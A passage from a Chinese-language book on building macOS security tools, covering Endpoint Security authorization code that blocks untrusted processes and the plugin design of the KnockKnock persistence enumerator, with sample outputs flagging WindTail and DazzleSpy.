es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    es_string_token_t* filePath = NULL;
    es_string_token_t* procPath = &message->process->executable->path;

    BOOL isTrusted = ((YES == message->process->is_platform_binary) ||
    (YES == isNotarized(message->process)));

    switch(message->event_type) {
        case ES_EVENT_TYPE_AUTH_OPEN:
            filePath = &message->event.open.file->path;
            printf("\nevent: ES_EVENT_TYPE_AUTH_OPEN\n");
            printf("responsible process: %.*s\n", (int)procPath->length, procPath->data);
            printf("target file path: %.*s\n", (int)filePath->length, filePath->data);
            if(YES == isTrusted) {
                printf("process is trusted, so will allow event\n");
                es_respond_flags_result(client, message, UINT32_MAX, false);
            } else {
                printf("process is *not* trusted, so will deny event\n");
                es_respond_flags_result(client, message, 0, false);
            }
            break;

        case ES_EVENT_TYPE_AUTH_UNLINK:
            filePath = &message->event.unlink.target->path;
            printf("\nevent: ES_EVENT_TYPE_AUTH_UNLINK\n");
            printf("responsible process: %.*s\n", (int)procPath->length, procPath->data);
            printf("target file path: %.*s\n", (int)filePath->length, filePath->data);
            if(YES == isTrusted) {
                printf("process is trusted, so will allow event\n");
                es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);
            } else {
                printf("process is *not* trusted, so will deny event\n");
                es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);
            }
            break;
        ...
    }
}); 

列表 9-18:仅授予平台和公证进程的文件访问权限

我们检查相关进程是否是平台二进制文件或已经过公证。检查一个进程是否是平台二进制文件,就像检查传递的 Endpoint Security 消息中进程结构的 is_platform_binary 成员一样简单。在第三章中,我们使用了 Apple 的代码签名 API 来判断一个进程是否经过公证;这里我们不再重复这个过程,除了提到我们创建了一个简单的辅助函数 isNotarized,它使用相关进程的审计令牌来检查其公证状态。(如果你有兴趣查看这个函数的完整实现,可以查看ESPlayground项目中的protect.m文件。)

同时值得指出的是,逻辑“或”运算符如果第一个条件为真,会短路,因此我们将平台二进制检查放在前面。因为它只是对结构中的布尔值进行简单检查,这比完整的公证检查计算量要小,所以我们先执行更高效的检查,仅在需要时才执行第二个检查。

让我们编译ESPlayground项目并使用-protect 标志运行它,以触发这一逻辑。该工具检测到使用内置的 macOS 命令来检查用户主目录并删除Documents目录中的文件,但仍然允许这些操作:

# **ESPlayground.app/Contents/MacOS/ESPlayground -protect**

ES Playground
Executing 'protect' logic
protecting directory: /Users/Patrick

event: ES_EVENT_TYPE_AUTH_OPEN
responsible process: /bin/ls
target file path: /Users/Patrick
process is trusted, so will allow event

event: ES_EVENT_TYPE_AUTH_UNLINK
responsible process: /bin/rm
target file path: /Users/Patrick/Documents/deleteMe.doc
process is trusted, so will allow event 

现在考虑一下 WindTail,这是一个持久的网络间谍植入程序,旨在枚举并外泄用户Documents目录中的文件。如果我们将它安装在虚拟机中,我们可以看到恶意软件(名为Final_Presentation.app)试图枚举用户文档目录中的文件。我们检测到这种访问行为,并且因为 WindTail 的二进制文件(在这个例子中叫做usrnode)不被信任,我们阻止了对该目录的访问:

# **ESPlayground.app/Contents/MacOS/ESPlayground -protect**

ES Playground
Executing 'protect' logic
protecting directory: /Users/User

event: ES_EVENT_TYPE_AUTH_OPEN
responsible process: /Users/User/Library/Final_Presentation.app/Contents/MacOS/usrnode
target file path: /Users/User/Documents
process is *not* trusted, so will deny event 

无法过分强调端点安全对于构建能够检测和防护 Mac 恶意软件的工具的重要性。近年来,苹果在该框架中添加了更多事件(如 macOS 13 中的 ES_EVENT_TYPE_NOTIFY_XP_MALWARE_DETECTED 和 macOS 15 中的 ES_EVENT_TYPE_NOTIFY_GATEKEEPER_USER_OVERRIDE),并且增强了强大的功能,因此,在构建任何安全工具时,使用端点安全应该是你首先考虑的事项。

结论

本章介绍了高级端点安全主题,包括静音、反向静音和授权事件。示例展示了如何使用这些功能构建能够检测恶意软件在执行未授权操作时的工具,并且主动阻止这些行为。

本章总结了本书的第二部分,专注于实时监控能力的主题。第三部分将结合第一部分和第二部分中涉及的多个主题,探索 Objective-See 最受欢迎的 macOS 恶意软件检测工具的内部工作原理。

注释

  1. 1.  请参阅 “Client”,Apple 开发者文档,https://developer.apple.com/documentation/endpointsecurity/client.

  2. 2.  Pete Markowsky (@PeteMarkowsky), “你可以用这个做的一小部分事情。1. 将对你的 SAAS 承载令牌的访问锁定到特定应用程序……”,X,2023 年 5 月 2 日,https://x.com/PeteMarkowsky/status/1653453951839109133

  3. 3.  请参阅 https://github.com/google/santa/blob/8a7f1142a87a48a48271c78c94f830d8efe9afa9/Source/santad/EventProviders/SNTEndpointSecurityTamperResistance.mm#L15.

  4. 4.  Shilpesh Trivedi, “MacStealer: 揭示一款新识别的基于 MacOS 的窃取恶意软件,” Uptycs,2023 年 3 月 24 日,https://www.uptycs.com/blog/macstealer-command-and-control-c2-malware

  5. 5.  你可以在 Patrick Wardle 的文章《All Your Macs Are Belong to Us》中阅读更多关于这些认证绕过漏洞的内容,Objective-See,2021 年 4 月 26 日,https://objective-see.org/blog/blog_0x64.html,以及在 Patrick Wardle 的另一篇文章《Where’s the Interpreter!?》,Objective-See,2021 年 12 月 22 日,https://objective-see.org/blog/blog_0x6A.html

  6. 6.  Objective-See 基金会(@objective_see),“你知道 BlockBlock . . . 吗?”,X,2022 年 3 月 2 日,https://x.com/objective_see/status/1499172783502204929

  7. 7.  “ES_EVENT_TYPE_AUTH_EXEC”,苹果开发者文档,https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_auth_exec

  8. 8.  参见 https://github.com/objective-see/BlockBlock

  9. 9.  你可以阅读由我揭示的这些攻击,参见 Patrick Wardle,“OS X 上的 Dylib 劫持”,病毒公报,2015 年 3 月 19 日,https://www.virusbulletin.com/blog/2015/03/paper-dylib-hijacking-os-x

  10. 10.  列表 9-9 中的代码灵感来自 Jeff Johnson, “检测应用程序转移”,Lapcat 软件公司,2016 年 7 月 26 日,https://lapcatsoftware.com/articles/detect-app-translocation.html

  11. 11.  参见 https://github.com/objective-see/BlockBlock/blob/master/Daemon/Daemon/Plugins/Processes.m

  12. 12.  Patrick Wardle,“揭开 macOS 后台任务管理的神秘面纱(及绕过方法)”,在 DefCon 大会上展示,拉斯维加斯,2023 年 8 月 12 日,https://speakerdeck.com/patrickwardle/demystifying-and-bypassing-macoss-background-task-management

  13. 13.  Phil Stokes,“后门激活器恶意软件在 macOS 应用程序的种子中广泛传播”,Sentinel One,2024 年 2 月 1 日,https://www.sentinelone.com/blog/backdoor-activator-malware-running-rife-through-torrents-of-macos-apps/

  14. 14.  Jaron Bradley,“XCSSET 恶意软件中发现的零日 TCC 绕过”,Jamf,2021 年 5 月 24 日,https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/

第三部分 工具开发

你可以把 第一部分 和 第二部分 中涵盖的内容看作是一个更大难题的组成部分。例如,第七章展示了你可以利用 NetworkExtension 框架来检测尝试访问网络的新进程,但要判断一个进程是恶意软件还是无害的,你可能需要回到 第一部分 中讨论的主题,包括提取其进程参数(第一章)、提取其代码签名信息(第三章)以及检查进程是否持久化(第五章)。你甚至可能需要解析其 Mach-O 二进制文件以查找异常(第二章)。

现在,我已经详细介绍了所有这些方法,接下来是将它们整合起来的时候了。在 第三部分,我将介绍 Objective-See 工具的设计和内部结构,这些工具提供强大的基于启发式的恶意软件检测能力。这些工具是免费的开源工具,且有着检测复杂恶意软件以及前所未见威胁的记录。

第三部分首先聚焦于能够实时枚举和检测持久性恶意软件的工具(KnockKnock 和 BlockBlock)。然后,我将通过展示如何构建一个能够检测恶意软件的工具,来讨论 OverSight,这种恶意软件悄悄访问麦克风或摄像头来监视用户。最后,我将详细介绍如何构建一个完整的 DNS 监控器,能够检测和阻止试图访问远程域名的恶意软件。在讨论这些工具的内部结构和构建时,我将提到它们可以检测到的现实世界中 macOS 恶意软件的例子。

测试所有的安全措施,看看它们如何应对各种现实世界中的威胁,这一点至关重要。因此,我将在书的结尾通过将我们的工具和检测方法与最近针对 macOS 系统的威胁进行对比,来做一个总结。究竟哪种方法会获胜呢?

如果你每章都下载相关工具的源代码,你将从本书这一部分中获得最大的收益。特别需要注意的是,有些章节出于简洁考虑,省略了部分代码。

本部分提到的所有工具都可以在 Objective-See 的 GitHub 仓库中找到:https://github.com/objective-see。如果你想自己构建这些工具,请注意,你需要使用自己的 Apple Developer ID,并且对于需要授权的工具,还需要使用你自己的配置文件。

第十章:10 持久化枚举器

2014 年初,一位亲密的朋友请求我帮忙清除他 Mac 上的病毒。当我坐到他屏幕前时,我看到明显的广告软件感染迹象:大量的浏览器弹窗,以及被劫持的首页。更糟糕的是,重置浏览器并不起作用;每次重启后,浏览器都会恢复到感染状态,这表明系统中有一个持久化组件深藏其中。

当时,我是一名经验丰富的 Windows 恶意软件分析师,刚刚开始涉足 macOS 的世界。天真地,我以为可以下载一个能够列出系统中所有持久化软件的工具来揭示恶意组件。像微软的 AutoRuns 这样的知名安全工具提供了类似功能,适用于 Windows 系统,但我很快发现,Mac 上并没有类似的工具。

我回到家后,花了几天时间编写了一个 Python 脚本,尽管它丑得令人尴尬,但却能够列出几种类型的持久化软件。运行脚本后,我发现了一个未被识别的启动代理,最终证明它是广告软件的核心持久化组件。一旦我将其移除,他的 Mac 就恢复如新。

意识到我的脚本可以帮助其他 Mac 用户,我整理了一下并发布了它,命名为 KnockKnock。^(2)(为什么叫 KnockKnock?因为它告诉你“谁在那儿!”)如今,KnockKnock 从最初的简单命令行脚本发展到了一个功能强大的工具。现在作为原生 macOS 应用程序分发,它能够检测任何 macOS 系统上持久安装的各种项目。配合直观的用户界面(UI)、与 VirusTotal 的集成以及将结果导出用于安全信息和事件管理(SIEM)的功能,它是我在怀疑 Mac 可能感染时首先运行的工具。

在本章中,我将介绍 KnockKnock 的设计和实现,带你深入了解这个工具,并扩展你对 macOS 恶意软件常用(或可能使用)的持久化方法的理解。在这个过程中,我们将超越第五章中讨论的仅关注背景任务管理数据库的检测机制,探索其他在 macOS 上持久化的方式,包括浏览器扩展和动态库劫持。你可以在 Objective-See 的 GitHub 页面上的 KnockKnock 仓库中找到完整的源代码,链接地址是 https://github.com/Objective-see/KnockKnock

工具设计

KnockKnock 是一个标准的基于 UI 的应用程序(如图 10-1 所示),但用户也可以在终端中将其作为命令行工具执行。

图 10-1:KnockKnock 的用户界面

由于这不是一本关于编写用户界面的书(谢天谢地!),所以我不会深入探讨与 KnockKnock UI 相关的代码。相反,我将主要关注它的核心组件,例如负责查询操作系统各个方面的许多插件,这些插件用来枚举持久安装的项目。

命令行选项

任何 Objective-C 程序的代码从标准的 main 函数开始,KnockKnock 也不例外。在它的 main 函数中,KnockKnock 会首先检查其程序参数,以确定是否应该显示使用信息或执行命令行扫描(列表 10-1)。

int main(int argc, const char* argv[]) {
    ...
    if((YES == [NSProcessInfo.processInfo.arguments containsObject:@"-h"]) ||
        (YES == [NSProcessInfo.processInfo.arguments containsObject:@"-help"])) {
        usage();
        goto bail;
    }

    if(YES == [NSProcessInfo.processInfo.arguments containsObject:@"-whosthere"]) {
        ...
        cmdlineScan();
    }
    ...
} 

列表 10-1:解析命令行选项

你可能熟悉通过主函数的 argv 访问程序的命令行参数。Objective-C 支持这种方法,但我们也可以通过 NSProcessInfo 类中的 processInfo 属性的 arguments 数组来访问这些参数。这种技术有几个优点,最显著的是它将参数转换为 Objective-C 对象。这意味着,例如,我们可以使用 containsObject: 方法轻松判断用户是否指定了某个命令行参数,而无需考虑参数的顺序。

为了判断是否运行命令行扫描,KnockKnock 会检查用户是否指定了 -whosthere 命令行选项。如果是,它会调用 cmdlineScan 函数来扫描系统,并将关于持久安装项的信息直接输出到终端。

插件

因为恶意软件可以通过多种方式在 macOS 上持久存在,并且研究人员时不时发现新的方法,KnockKnock 的设计依赖于我称之为插件的概念。每个插件对应一种持久性类型,并实现列举该类型持久性项目的逻辑。插件随后会调用 KnockKnock 的其他部分来执行例如在 UI 中显示每个项目的操作。这种模块化方法提供了一种简单高效的方式来支持新的持久性技术。例如,在研究人员 Csaba Fitzl 发布了博客文章《Beyond the Good Ol’ LaunchAgents -32- Dock Tile Plugins》,该文章详细描述了涉及 macOS Dock 插件的新持久性策略后,^(3) 我在一小时内通过一个新的插件向 KnockKnock 添加了相应的检测功能。

KnockKnock 的每个插件都继承自一个名为 PluginBase 的自定义插件基类,该类声明了所有插件共有的属性以及基础方法。该基类位于 PluginBase.h 中,包含插件元数据,如名称和描述,以及插件在遇到持久化项目时填充的数组(列表 10-2)。

@interface PluginBase : NSObject
    @property(retain, nonatomic)NSString* name;
    @property(retain, nonatomic)NSString* icon;
    @property(retain, nonatomic)NSString* description;

    @property(retain, nonatomic)NSMutableArray* allItems;
    @property(retain, nonatomic)NSMutableArray* flaggedItems;
    @property(retain, nonatomic)NSMutableArray* unknownItems;

    @property(copy, nonatomic) void (^callback)(ItemBase*);
    ....
@end 

列表 10-2:基础插件类的属性

该类还声明了各种基础方法(列表 10-3)。

-(void)scan;
-(void)reset;
-(void)processItem:(ItemBase*)item; 

列表 10-3:基础插件类的方法

每个插件必须实现一个扫描方法,逻辑是枚举一种持久项类型。例如,背景任务管理插件将解析背景任务管理数据库,以提取由背景任务管理子系统管理的持久项,而浏览器扩展插件将枚举已安装的浏览器,并为每个浏览器提取已安装的浏览器扩展。如果研究人员发现了一种新的持久性机制,我们可以轻松地添加一个新的插件,并提供一个能够枚举以这种新方式持久存在的项的扫描方法。

如果直接调用,基类的扫描方法将抛出异常(列表 10-4)。

@implementation PluginBase
...
-(void)scan {
    @throw [NSException exceptionWithName:kExceptName
    reason:[NSString stringWithFormat:kErrFormat, NSStringFromSelector(_cmd),
    [self class]] userInfo:nil];
}
@end 

列表 10-4:如果调用,基础扫描方法将抛出异常。

这种设计使得 KnockKnock 能够轻松调用每个插件的扫描方法,而无需了解每个插件如何实际枚举其特定类型的持久项。该类为其他两个方法(reset 和 processItem:)提供了基础实现,尽管插件可以根据需要重写这些方法。(否则,插件将仅调用基类的实现。)

这两种方法都会影响应用程序的用户界面。例如,在执行 UI 扫描时,重置方法处理用户暂停后重新启动扫描的情况,而processItem:方法会在插件发现持久项时更新 UI。在命令行扫描过程中,processItem:方法仍会跟踪检测到的项,并在扫描完成后将每个项打印到终端(列表 10-5)。

-(void)processItem:(ItemBase*)item {
    ...
    @synchronized(self.allItems) {
        [self.allItems addObject:item];
    }
} 

列表 10-5:更新持久项的全局列表

KnockKnock 声明了一个静态插件列表,按其类名排序。随后,代码会遍历此列表,为每个插件实例化一个对象(列表 10-6)。

static NSString* const SUPPORTED_PLUGINS[] = {@"AuthorizationPlugins",
@"BrowserExtensions", @"BTM", @"CronJobs", @"DirectoryServicesPlugins",
@"DockTiles", @"EventRules", @"Extensions", @"Kexts", @"LaunchItems",
@"DylibInserts", @"DylibProxies", @"LoginItems", @"LogInOutHooks",
@"PeriodicScripts", @"QuicklookPlugins", @"SpotlightImporters",
@"StartupScripts", @"SystemExtensions"};

PluginBase* pluginObj = nil;

for(NSUInteger i = 0; i < sizeof(SUPPORTED_PLUGINS)/sizeof(SUPPORTED_PLUGINS[0]); i++) {
    pluginObj = [[NSClassFromString(SUPPORTED_PLUGINS[i]) alloc] init]; ❶
    ...
} 

列表 10-6:通过名称初始化每个插件

对于每个插件类名,KnockKnock 会调用 NSClassFromString API,根据给定的名称获取插件类。^(4) 然后,它调用类的 alloc 方法来分配该类的实例(换句话说,就是创建一个对象)。接下来,它会调用新创建的对象的 init 方法,以允许插件对象执行任何初始化操作 ❶。我们稍后将考虑一些初始化示例。虽然这里没有展示,但 KnockKnock 接着会调用每个插件的扫描方法。#### 持久项类型

KnockKnock 将持久化项分为三种类型:文件、命令或浏览器扩展。大多数持久化项是可执行文件,如脚本或 Mach-O 二进制文件。然而,在 cron 任务的情况下,恶意软件有时会以命令形式持久化;有时它则以浏览器扩展的形式持久化,包含一组文件和资源。正确分类项目对 KnockKnock 来说非常重要,因为每种类型都有其独特的特性。例如,持久化文件可能具有可提取的代码签名信息,帮助我们进行分类。我们也可以对这些文件进行哈希处理,以检查是否为已知恶意软件。

这三种项目类型是自定义 ItemBase 类的子类,如示例 10-7 所示。

@interface ItemBase : NSObject
    @property(nonatomic, retain)PluginBase* plugin;

    @property BOOL isTrusted;
    @property(retain, nonatomic)NSString* name;
    @property(retain, nonatomic)NSString* path;
    @property(nonatomic, retain)NSDictionary* attributes;

    -(id)initWithParams:(NSDictionary*)params;
    -(NSString*)pathForFinder;
    -(NSString*)toJSON;

@end 

示例 10-7:ItemBase 类的接口

这个基类声明了多个属性,如发现该项的插件、项目的名称和路径,并且并非所有项目类型都会设置每个属性。例如,命令没有路径,而文件和扩展则有。ItemBase 类还实现了用于初始化项目、返回其路径以在 Finder 应用中显示以及将其转换为 JSON 的基本方法。虽然继承自该基类的对象可以根据需要重新实现每个方法,但基类的实现可能已经足够。

一旦插件的扫描方法完成,它会将任何发现的项目存储在一个名为 allItems 的插件属性中。在命令行扫描中,KnockKnock 将每个持久化项转换为 JSON,并将其附加到一个打印出来的字符串中(见示例 10-8)。

NSMutableString* output = [NSMutableString string];
...
for(NSUInteger i = 0; i < sizeof(SUPPORTED_PLUGINS)/sizeof(SUPPORTED_PLUGINS[0]); i++) {
    ...
    [plugin scan];

    for(ItemBase* item in plugin.allItems) {
        ...
 [output appendFormat:@"{%@},", [item toJSON]];
    }
    ...
} 

示例 10-8:将持久化项目转换为 JSON

每种项目类型都实现了自己的逻辑,将收集到的持久化项信息转换为 JSON。我们来看一下文件类型项目的 toJSON 方法的实现(见示例 10-9)。

@implementation File
-(NSString*)toJSON {
    NSData* jsonData = nil;

    jsonData =
    [NSJSONSerialization dataWithJSONObject:self.signingInfo options:kNilOptions error:NULL]; ❶

    NSString* fileSigs =
    [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];

    jsonData =
    [NSJSONSerialization dataWithJSONObject:self.hashes options:kNilOptions error:NULL]; ❷

    NSString* fileHashes = [[NSString alloc] initWithData:jsonData encoding:
    NSUTF8StringEncoding];
    ...
} 

示例 10-9:将文件对象属性转换为 JSON

首先,代码使用 NSJSONSerialization 类的 dataWithJSONObject:options:error: 方法将各种字典转换为 JSON。这些字典包括项目的代码签名信息 ❶ 和哈希值 ❷。该方法还将 VirusTotal 扫描结果中的数值转换为 JSON(见示例 10-10)。

NSString* vtDetectionRatio = [NSString stringWithFormat:@"%lu/%lu",
(unsigned long)[self.vtInfo[VT_RESULTS_POSITIVES] unsignedIntegerValue],
(unsigned long)[self.vtInfo[VT_RESULTS_TOTAL] unsignedIntegerValue]]; 

示例 10-10:基于 VirusTotal 扫描结果计算检测比率

从技术上讲,KnockKnock 本身不包含检测恶意代码的逻辑;它仅仅是枚举持久安装的项目。这是设计使然,因为它允许 KnockKnock 即使没有事先了解新恶意软件,也能检测到新的持久化恶意软件。然而,KnockKnock 与 VirusTotal 的集成使它能够通过向 VirusTotal 查询 API 提交每个持久化项目的哈希值,标记已知的恶意软件。该 API 返回基本的检测信息,例如有多少病毒扫描引擎扫描了这些项目,并且有多少引擎将其标记为恶意。KnockKnock 将这些数据转换为字符串比率,格式为 正面检测/病毒扫描引擎,然后将结果显示在用户界面或命令行输出中。^(5)

toJSON 方法最终构建一个单一的字符串对象,将转换后的字典、格式化的数值以及项目对象的所有其他属性组合在一起(列表 10-11)。

NSString* json = [NSString stringWithFormat:@"\"name\": \"%@\", \"path\":
\"%@\", \"plist\": \"%@\", \"hashes\": %@, \"signature(s)\": %@, \"VT
detection\": \"%@\"", self.name, self.path, filePlist, fileHashes,
fileSigs, vtDetectionRatio]; 

列表 10-11:构建一个 JSON 字符串

它将这个字符串返回给调用者进行打印。例如,在一个被持久化的 DazzleSpy 恶意软件感染的系统上,KnockKnock 会在终端显示以下 JSON:

% **KnockKnock.app/Contents/MacOS/KnockKnock -whosthere -pretty**
{
    "path" : "\/Users\/User\/.local\/softwareupdate",
    "hashes" : {
        "md5" : "9DC9D317A9B63599BBC1CEBA6437226E",
        "sha1" : "EE0678E58868EBD6603CC2E06A134680D2012C1B"
    },
    "VT detection" : "35\/76",
    "name" : "softwareupdate",
    "plist" : "\/Library\/LaunchDaemons\/com.apple.softwareupdate.plist",
    "signature(s)" : {
        "signatureStatus" : -67062
    }
} 

输出显示了几个红旗,表明这个项目很可能是恶意的。例如,它运行于一个隐藏的目录(.local),虽然它声称是一个 Apple 软件更新程序,但它的签名状态为 -67062,这与 errSecCSUnsigned 常量对应。然而,最能确认为恶意软件的标志是 VirusTotal 的检测比率,显示大约一半的病毒扫描引擎将其标记为恶意。

探索插件

KnockKnock 约有 20 个插件,用于检测各种持久化项目,包括存储在后台任务管理中的项目、浏览器扩展、cron 作业、动态库插入和代理、内核扩展、启动项、登录项、Spotlight 导入器、系统扩展等。尽管我不会在这里覆盖每个插件,但我会深入探讨其中的一些,并提供它们能检测到的恶意软件示例。

后台任务管理

在第五章中,我们探讨了未文档化的后台任务管理子系统,该子系统被 macOS 用于管理和跟踪持久化项目,如启动代理、守护进程和登录项。通过逆向工程,我向你展示了如何反序列化由该子系统管理的项目,这些项目可能包括持久安装的恶意软件。随后,我们创建了一个开源库,名为DumpBTM,它可以在 GitHub 上找到(https://github.com/objective-see/DumpBTM)。为了枚举持久安装的启动项和登录项,KnockKnock 利用了这个库。

注意

在 Xcode 中,你可以在项目的 Build Phases 标签下链接一个库。在那里,展开 Link Binary With Libraries,点击+,然后浏览到该库。

在链接了 DumpBTM 库之后,KnockKnock 的后台任务管理插件可以直接调用其导出的 API,例如 parseBTM 函数。该函数接受一个后台任务管理文件的路径(或者为 nil,默认使用系统文件),并返回一个包含关于每个持久项的反序列化元数据的字典。列表 10-12 显示了插件扫描方法中代码的一个片段。

#import "dumpBTM.h"

-(void)scan {
    ...
    if(@available(macOS 13, *)) {
        NSDictionary* contents = parseBTM(nil);
        ...
    }
} 

列表 10-12:调用 DumpBTM 库

这段代码使用了 @available Objective-C 关键字,确保插件仅在 macOS 13 及更新版本上执行(因为早期版本没有后台任务管理子系统)。然后,KnockKnock 会遍历 DumpBTM 库的 parseBTM 函数返回的每个持久项的元数据,并为每一个持久项实例化一个 File 项对象。它通过调用 File 类的 initWithParams: 方法来完成这一操作,该方法接受一个包含对象值的字典,包括路径,以及对于启动项的属性列表。

请注意,代码明确检查了属性列表,因为某些持久项(如登录项)在后台任务管理数据库中可能不包含此列表(列表 10-13)。这是一个重要检查,因为将不存在(nil)的项插入字典会导致程序崩溃。

NSMutableDictionary* parameters = [NSMutableDictionary dictionary];

parameters[KEY_RESULT_PATH] = item[KEY_BTM_ITEM_EXE_PATH];

if(nil != item[KEY_BTM_ITEM_PLIST_PATH]) {
    parameters[KEY_RESULT_PLIST] = item[KEY_BTM_ITEM_PLIST_PATH];
}

File* fileObj = [[File alloc] initWithParams:parameters]; 

列表 10-13:创建一个字典参数来初始化 File 对象

在初始化一个 File 对象后,KnockKnock 的后台任务管理插件可以调用基类插件的 processItem: 方法,触发 UI 刷新,或者在命令行扫描中将该项添加到系统上持久安装的项列表中。

使用DumpBTM库,KnockKnock 可以轻松枚举子系统管理的所有持久项。在以下输出中,你可以看到该工具显示了网络间谍植入程序 WindTail 的详细信息,该程序将一个名为Final_Presentation.app的应用程序作为登录项持久化:

% **KnockKnock.app/Contents/MacOS/KnockKnock -whosthere -pretty**
...
"Background Managed Tasks" : [
    {
        "path" : "\/Users\/User\/Library\/Final_Presentation.app\/Contents\/MacOS\/usrnode",
        "hashes" : {
            "md5" : "C68A856EC8F4529147CE9FD3A77D7865",
            "sha1" : "758F10BD7C69BD2C0B38FD7D523A816DB4ADDD90"
        },
        "VT detection" : "41\/75",
        "name" : "usrnode",
        "plist" : "n\/a",
        "signature(s)" : {
            "signatureStatus" : -2147409652
        }
    }
] 

现在,许多病毒扫描引擎在 VirusTotal 上已经标记出该恶意软件,并且检查其签名返回-2147409652,这与“证书被吊销”常量 CSSMERR_TP_CERT_REVOKED 对应。然而,即使 VirusTotal 上的病毒引擎还未为其开发签名,KnockKnock 也早已显示出该持久项的存在。

不幸的是,没有外部库可以枚举 KnockKnock 的其他类型的持久性,因此我们需要自己编写更多的代码。一个例子是浏览器扩展插件,我们现在来看一下这个。

浏览器扩展

大多数 macOS 广告软件会安装一个恶意浏览器扩展来劫持搜索结果、显示广告,甚至拦截浏览器流量。常见的此类广告软件包括 Genieo、Yontoo 和 Shlayer。

由于没有 macOS API 可以列举已安装的浏览器扩展,KnockKnock 必须自己实现这一功能。更糟糕的是,由于每个浏览器以不同的方式管理其扩展,KnockKnock 必须为每个浏览器实现特定的列举代码。目前,该工具支持 Safari、Chrome、Firefox 和 Opera 浏览器的扩展列举。在本节中,我们将讨论特定于 Safari 的代码。

为了列出已安装的浏览器,KnockKnock 使用了相对不为人知的 Launch Services API(清单 10-14)。

-(NSArray*)getInstalledBrowsers {
    NSMutableArray* browsers = [NSMutableArray array];
  ❶ CFArrayRef browserIDs = LSCopyAllHandlersForURLScheme(CFSTR("https"));

    for(NSString* browserID in (__bridge NSArray *)browserIDs) {
        CFURLRef browserURL = NULL;
      ❷ LSFindApplicationForInfo(kLSUnknownCreator,
        (__bridge CFStringRef)(browserID), NULL, NULL, &browserURL);

        [browsers addObject:[(__bridge NSURL *)browserURL path]];
        ...
    }
    ...
    return browsers;
} 

清单 10-14:使用 Launch Services API 获取已安装浏览器的列表

该代码调用 LSCopyAllHandlersForURLScheme API,传入 URL 协议 https ❶,该 API 返回一个包含能够处理该协议的应用程序 bundle ID 的数组。然后代码调用 LSFindApplicationForInfo API,将每个 ID 映射到一个应用程序路径 ❷,并将这些路径保存到一个数组中,返回给调用者。

在 macOS 12 中,苹果将 URLsForApplicationsToOpenURL:方法添加到了 NSWorkspace 类中,用以返回所有能够打开指定 URL 的应用程序。调用这个方法并传入一个网页的 URL 时,将返回所有已安装浏览器的列表。对于较新版本的 macOS,KnockKnock 使用了这个 API(清单 10-15)。

#define PRODUCT_URL @"https://objective-see.org/products/knockknock.html"

NSMutableArray* browsers = [NSMutableArray array];
if(@available(macOS 12.0, *)) {
    for(NSURL* browser in [NSWorkspace.sharedWorkspace URLsForApplicationsToOpenURL:
    [NSURL URLWithString:PRODUCT_URL]]) {
        [browsers addObject:browser.path];
    }
} 

清单 10-15:使用 URLsForApplicationsToOpenURL:方法获取已安装浏览器的列表

你可以在 KnockKnock 的浏览器扩展插件的 scanExtensionsSafari:方法中找到列举 Safari 浏览器扩展的代码。在清单 10-16 中,这段代码使用之前的代码找到 Safari 的位置,然后调用这个方法。

NSArray* installedBrowsers = [self getInstalledBrowsers];

for(NSString* installedBrowser in installedBrowsers) {
    if(NSNotFound != [installedBrowser rangeOfString:@"Safari.app"].location) {
        [self scanExtensionsSafari:installedBrowser];
    }
    ...
} 

清单 10-16:调用 Safari 特定逻辑列举其扩展

Safari 浏览器扩展的位置随着时间的推移发生了变化;直到苹果决定将其移入钥匙串之前,你可以在~/Library/Safari/Extensions目录中找到它们。KnockKnock 的早期版本曾尝试跟踪这些变化,但现在,它使用了一个更简单的方法:执行 macOS 的 pluginkit 工具(清单 10-17)。

for(NSString* match in @[@"com.apple.Safari.extension", @"com.apple.Safari.content-blocker"]) {
    NSData* taskOutput = execTask(PLUGIN_KIT, @[@"-mAvv", @"-p", match]);
    ...
} 

清单 10-17:列举已安装的 Safari 扩展

-m 参数用于查找所有符合-p 参数指定的搜索条件的插件;-A 参数返回所有已安装插件的版本,而不仅仅是最新版本;-vv 参数返回详细的输出,包括显示名称和父包信息。对于-p 参数,我们首先使用 com.apple.Safari.extension,然后使用 com.apple.Safari.content-blocker。这样可以确保我们列举出传统扩展和内容拦截扩展。

我们在名为 execTask 的辅助函数中执行 pluginkit(在第一章中讨论过),该函数简单地启动指定的程序及其指定的任何参数,并将输出返回给调用者。你可以尝试自行运行 pluginkit,以列举你 Mac 上安装的 Safari 扩展。在以下输出中,你可以看到我安装了一个广告拦截器:

% **pluginkit -mAvv -p com.apple.Safari.extension**
...
org.adblockplus.adblockplussafarimac.AdblockPlusSafariToolbar
Path = /Applications/Adblock Plus.app/Contents/PlugIns/Adblock Plus Toolbar.appex
UUID = 87C62A05-974F-4E6C-81EE-304D4548DA60
SDK = com.apple.Safari.extension
Parent Bundle = /Applications/Adblock Plus.app
Display Name = ABP Control Panel
Short Name = $(PRODUCT_NAME)
Parent Name = Adblock Plus
Platform = macOS 

利用这个外部二进制文件有一个缺点,即会引入依赖关系并需要解析其输出,但它仍然是最可靠的选择。有许多方法可以解析任何输出。在列表 10-18 中,KnockKnock 采用了提取每个扩展名、路径和 UUID 的方法。

-(void)parseSafariExtensions:(NSData*)extensions browserPath:(NSString*)browserPath {
    NSMutableDictionary* extensionInfo = [NSMutableDictionary dictionary];

    extensionInfo[KEY_RESULT_PLUGIN] = self;
    extensionInfo[KEY_EXTENSION_BROWSER] = browserPath;

    for(NSString* line in
    [[[NSString alloc] initWithData:extensions encoding:NSUTF8StringEncoding]
    componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]) {
        NSArray* components = [[line stringByTrimmingCharactersInSet:
        [NSCharacterSet whitespaceCharacterSet]] componentsSeparatedByString:@"="];
        // key and value set to first and last component

        if(YES == [key isEqualToString:@"Display Name"]) {
            extensionInfo[KEY_RESULT_NAME] = value;
        } else if(YES == [key isEqualToString:@"Path"]) {
            extensionInfo[KEY_RESULT_PATH] = value;
        } else if(YES == [key isEqualToString:@"UUID"]) {
            extensionInfo[KEY_EXTENSION_ID] = value;
        }
        ...
    }
} 

列表 10-18:解析包含已安装 Safari 扩展的输出

